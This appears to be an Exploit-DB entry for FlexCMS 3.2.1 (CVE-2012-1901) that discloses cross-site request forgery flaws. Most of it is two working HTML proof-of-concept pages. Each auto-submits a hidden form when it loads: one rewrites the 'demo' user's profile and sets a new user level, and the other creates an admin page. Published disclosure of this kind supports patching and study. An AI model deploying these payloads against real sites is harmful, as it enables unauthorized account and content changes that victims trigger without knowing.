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FlexCMS 3.2.1 - Multiple CSRF Vulnerabilities



EDB-ID: 18609 CVE: 2012-1901 OSVDB-ID: 80187
Author: Ivano Binetti Published: 2012-03-16 Verified: Verified
Exploit Code:   Download Vulnerable App:    Download

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# Exploit Title    : FlexCMS 3.2.1 Multiple CSRF
# Date             : 16-03-2012
# Author           : Ivano Binetti (http://www.ivanobinetti.com)
# Software link    : http://www.flexcms3.com/index.php/index.html
# Vendor site      : http://www.flexcms.com
# Version          : 3.2.1 (and lower)
# Tested on        : Debian Squeeze (6.0) 
# Original Advisory: http://ivanobinetti.blogspot.com/2012/03/flexcms-multiple-csrf-vulnerabilities.html

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Summary

1)Introduction
2)Vulnerabilities Description 
3)Exploit
 3.1 Exploit (Change Settings of "demo" user)
 3.2 Exploit (Add Page)

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1)Introduction
FlexCMS "is a user-friendly website content management system.  With FlexCMS you can easily build dynamic websites within a matter of minutes
with just the click of your mouse!  Maintain your web content, navigation and even limit what groups or specific users can access, from anywhere in 
the world with just a web browser!  With an emphasis on security and functionality, FlexCMS is a professional and robust system suitable for any 
business or organization website. Built on the PHP programming language and the MySQL database, FlexCMS delivers superb performance on any size 
website.".

2)Vulnerability Description 
FlexCMS 3.2.1 suffers from multiple CSRF vulnerabilities which could allow an attacker to change any parameters when an authenticated user/admin
browses a special crafted web page. In this Advisory I've only demonstrate how to change settings of user "demo" (is default user of demo page)
and also I've created a new web page.


3)Exploit 

 3.1 Exploit (Change settings of "demo" user)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to add change any network parameter</H2>
 <form method="POST" name="form0" action="http://SERVER/index.php/profile-edit-save">
 <input type="hidden" name="UsernameToEdit" value="demo"/>
 <input type="hidden" name="Username" value="demo"/>
 <input type="hidden" name="DisplayName" value="Ivano Binetti"/>
 <input type="hidden" name="RealName" value="Ivano Binetti"/>
 <input type="hidden" name="Email" value="IvanoBinetti@flexcms.com"/>
 <input type="hidden" name="DisplayEmail" value="y"/>
 <input type="hidden" name="Location" value=""/>
 <input type="hidden" name="Password1" value=""/>
 <input type="hidden" name="Password1" value=""/>
 <input type="hidden" name="FirstName" value="Demo"/>
 <input type="hidden" name="LastName" value="Demo"/>
 <input type="hidden" name="OrganizationCompany" value=""/>
 <input type="hidden" name="Address1" value=""/>
 <input type="hidden" name="Address2" value=""/>
 <input type="hidden" name="City" value="AnyCity"/>
 <input type="hidden" name="StateProvince" value=""/>
 <input type="hidden" name="ZipPostal" value=""/>
 <input type="hidden" name="Country" value="US"/>
 <input type="hidden" name="Phone" value=""/>
 <input type="hidden" name="Website" value=""/>
 <input type="hidden" name="ReferredBy" value=""/>
 <input type="hidden" name="ForumAvatar" value=""/>
 <input type="hidden" name="FileData" value=""/>
 <input type="hidden" name="ForumSignature" value=""/>
 <input type="hidden" name="NewUserLevel" value="20"/>
 </form>
 </body>
 </html>


 3.2 Exploit (Add Page)
 <html>
 <body onload="javascript:document.forms[0].submit()">
 <H2>CSRF Exploit to add web page</H2>
 <form method="POST" name="form0" action="http://SERVER/index.php/admin/pages-new-save">
 <input type="hidden" name="AdminLabel" value="1"/>
 <input type="hidden" name="PageCategory" value="0"/>
 <input type="hidden" name="PageLink" value="testissimo"/>
 <input type="hidden" name="PageTitle" value="testissimo"/>
 <input type="hidden" name="TitleImage" value=""/>
 <input type="hidden" name="TitleAlignment" value="L"/>
 <input type="hidden" name="PageType" value="1"/>
 <input type="hidden" name="EnablePHP" value="0"/>
 <input type="hidden" name="PageContents" value="%3Cdiv%3Etestissimo%3C%2Fdiv%3E"/>
 <input type="hidden" name="PageContents2" value=""/>
 <input type="hidden" name="PageAlignment" value="L"/>
 <input type="hidden" name="BrowserTitle" value=""/>
 <input type="hidden" name="MetaKeywords" value=""/>
 <input type="hidden" name="MetaDescription" value=""/>
 <input type="hidden" name="PageEnabled" value="1"/>
 <input type="hidden" name="MinLevel" value="1"/>
 <input type="hidden" name="MinEditLevel" value="0"/>
 <input type="hidden" name="SDMonth" value="1"/>
 <input type="hidden" name="SDDay" value="1"/>
 <input type="hidden" name="SDYear" value="2012"/>
 <input type="hidden" name="SDHour" value="0"/>
 <input type="hidden" name="SDMinute" value="0"/>
 <input type="hidden" name="SDAmPm" value="am"/>
 <input type="hidden" name="EDMonth" value="1"/>
 <input type="hidden" name="EDDay" value="1"/>
 <input type="hidden" name="EDYear" value="2012"/>
 <input type="hidden" name="EDHour" value="0"/>
 <input type="hidden" name="EDMinute" value="0"/>
 <input type="hidden" name="EDAmPm" value="am"/>
 <input type="hidden" name="SubmitButton" value="Create+New+Page"/>
 </form>
 </body>
 </html>


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